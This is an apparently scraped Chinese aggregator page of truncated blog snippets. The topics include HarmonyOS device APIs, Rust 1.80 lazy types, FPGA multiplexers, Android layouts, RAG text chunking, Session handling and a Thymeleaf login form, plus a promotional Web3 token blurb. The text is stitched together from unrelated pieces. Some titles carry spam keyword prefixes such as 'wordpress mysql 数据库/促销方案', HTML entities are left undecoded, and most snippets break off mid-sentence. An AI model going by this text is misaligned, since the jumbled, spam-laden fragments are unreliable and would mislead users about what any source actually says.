文章目录 前言一、引入模块和基本设备信息的获取二、设备硬件和系统版本信息的获取三、获取安全相关的设备信息四、获取网络状态信息五、完整 Demo 代码1. 导入所需模块2. 获取设备基本信息代码解析 3. 检测网络连接状态4. 执行函数 总结 前言 HarmonyOS 提供了一个强大的 API…...

2411rust,1.80

1.80.0稳定版 LazyCell和LazyLock 这些"懒"类型会延迟初化其数据,直到第一次访问.它们类似1.70中稳定的OnceCell和OnceLock类型,但单元中包含初化函数. 这稳定化了从流行的lazy_static和once_cell中进入标准库. LazyLock是线安选项,使其适合静态值等位置.如,产生…...

FPGA 第6讲 简单组合逻辑多路选择器

时间&#xff1a;2024.11.11-11.14 一、学习内容 1.组合逻辑 组合逻辑是VerilgHDL设计中一个重要组成部分。从电路本质上讲&#xff0c;组合逻辑电路的特点是输出信号只是当前时刻输入信号的函数&#xff0c;与其他时刻的输入状态无关&#xff0c;无存储电路&#xff0c;也没…...

Android Studio开发学习(五)———LinearLayout(线性布局)

一、布局 认识了解一下Android中的布局&#xff0c;分别是: LinearLayout(线性布局)&#xff0c;RelativeLayout(相对布局)&#xff0c;TableLayout(表格布局)&#xff0c; FrameLayout(帧布局)&#xff0c;AbsoluteLayout(绝对布局)&#xff0c;GridLayout(网格布局) 等。 二、…...

大模型(LLMs)RAG 版面分析------文本分块面

一、为什么需要对文本分块&#xff1f; 使用大型语言模型&#xff08;LLM&#xff09;时&#xff0c;切勿忽略文本分块的重要性&#xff0c;其对处理结果的好坏有重大影响。 考虑以下场景&#xff1a;你面临一个几百页的文档&#xff0c;其中充满了文字&#xff0c;你希望对其…...

Web3游戏先锋 Big Time Studios 重磅推出 $OL 通证,赋能 Open Loot 游戏平台

作为 Web3 游戏领域的领军者&#xff0c;Big Time Studios 不仅创造了热门游戏《Big Time》&#xff0c;还开发了 Open Loot 平台&#xff0c;至今交易量已超过 5 亿美元。如今&#xff0c;Open Loot 平台的活跃用户可以获得 $OL 代币&#xff0c;这是该平台推出的首个实用型代…...

wordpress apache 404/网络销售管理条例

以 Unix 风格给出一个文件的绝对路径&#xff0c;你需要简化它。或者换句话说&#xff0c;将其转换为规范路径。 在 Unix 风格的文件系统中&#xff0c;一个点&#xff08;.&#xff09;表示当前目录本身&#xff1b;此外&#xff0c;两个点 &#xff08;..&#xff09; 表示将…...

wordpress mysql 数据库/促销方案

SessionⅠ 关于SessionⅡ Seesion的用法A. 向Session存入数据B. 获取Session的值C. Session的删除与注销Ⅲ Session和Cookie的异同总结Ⅰ 关于Session 在前面一篇讲Cookie的文章中我提到了会话的概念&#xff0c;->Cookie&#xff0c;这个Seesion就是一个会话。关于seesion…...

赤峰网站建设/营销软件网站

◆ 方案背景<?xml:namespace prefix o ns "urn:schemas-microsoft-com:office:office" />IWS-ICB解决方案是北京一维天地科技有限公司&#xff08;微软金牌认证合作伙伴&#xff09;在微软SharePoint及Office系列产品基础上实现的企业集成协作工作平台解决方…...

wordpress中文别名分类目录/seow

根据于渊老师的《Orange’s 一个操作系统的实现》我开始了操作系统的制作 首先进行了helloworld的编写&#xff0c;大体过程是&#xff1a; 1.了解什么语言编写操作系统 书中给出&#xff1a;汇编与c&#xff0c;但是helloworld编写仅仅是汇编&#xff0c;我也看不懂 直接复…...

为什么要在南极建站/最好的搜索引擎排名

软件的需求分析&#xff1a; 1&#xff1a;获取和引导需求 2&#xff1a;分析和定义需求: 3&#xff1a;验证需求 4&#xff1a;在软件产品的生命周期中管理需求 对于软件的需求分析.也要做不同的划分 1&#xff1b;产品的功能性需求 2&#xff1a;对产品开发过程的需求 3&…...

重庆城乡建设局网站/兰州网络推广关键词优化

实用的登录一定要满足&#xff0c;在没有登录的时候&#xff0c;是不可以访问其他的界面的。 1.ctrlF9 idea中重新编译前端界面 2.编写提交登录的请求&#xff0c;用thymeleaf来写&#xff1a; <form class"form-signin" th:action"{/user/login}" a…...